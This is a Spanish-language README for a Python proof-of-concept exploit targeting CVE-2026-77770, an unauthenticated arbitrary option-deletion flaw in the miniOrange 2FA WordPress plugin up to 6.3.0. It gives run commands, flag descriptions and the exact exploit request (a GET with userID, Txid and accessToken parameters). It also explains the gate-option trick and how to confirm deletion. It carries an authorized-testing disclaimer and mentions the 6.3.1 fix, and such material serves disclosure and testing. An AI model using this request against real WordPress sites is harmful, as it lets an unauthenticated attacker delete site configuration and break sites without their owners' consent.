
PoC en Python para CVE-2026-77770, una vulnerabilidad de eliminación arbitraria de opciones de WordPress sin autenticación en el plugin miniOrange 2FA (<= 6.3.0) a través del enlace de verificación por correo electrónico.
miniOrange 2FA CVE POC
miniOrange 2FA (plugin de WordPress miniorange-2-factor-authentication) ≤ 6.3.0 — eliminación arbitraria de opciones de WordPress sin autenticación a través del enlace de verificación por correo electrónico (userID / Txid / accessToken).
Solo para pruebas autorizadas. No ejecutes esto contra sistemas que no sean de tu propiedad o que no tengas permiso para probar.
Requiere: Python 3, solo biblioteca estándar.
python3 cve-2026-77770-miniorange-2fa-option-delete.py -u http://TARGET --test
python3 cve-2026-77770-miniorange-2fa-option-delete.py -u http://TARGET --test --delete blogname
python3 cve-2026-77770-miniorange-2fa-option-delete.py -u https://TARGET --delete blogname --insecure
python3 cve-2026-77770-miniorange-2fa-option-delete.py -u TARGET --delete blogname
| Flag | Qué hace |
|---|
-u / --url | Raíz del sitio WordPress (obligatorio). http:// o https://; un nombre de host se prueba primero como HTTPS y luego como HTTP. El TLS autofirmado se reintenta automáticamente |
--test | Invitado: versión del plugin + ventana emergente de verificación por correo electrónico |
--delete OPTION | Elimina esa fila de wp_options. blogname es visible a través de /wp-json/ (BEFORE / AFTER) |
--gate OPTION | Opción cuyo valor almacenado es 3 (la puerta Txid). Repetible. Predeterminado: wp_page_for_privacy_policy, luego thread_comments_depth |
--insecure | Omite la verificación TLS |
--timeout | Segundos de tiempo de espera HTTP (predeterminado 30) |
Sin autenticación. El gadget es un GET a /?userID=OPTION&Txid=GATE&accessToken=x. GATE debe contener actualmente el entero 3. Si se pierde la ventana de 5 minutos, el plugin también escribe GATE=0.
--test no elimina. --delete blogname es la prueba pública (el título del sitio en /wp-json/ queda vacío). 6.3.1 prefija las claves (mo2f_oobe_*), por lo que los nombres sin prefijo no se eliminan.
Stdout: VERSION, HANDLER, PRESENT, SITENAME, OPTION, BEFORE, AFTER, GATE, VULNERABLE, NOT_VULNERABLE, NOT_FOUND, ATTEMPTED.

CVE: CVE-2026-77770. Registro de cambios del plugin 6.3.1.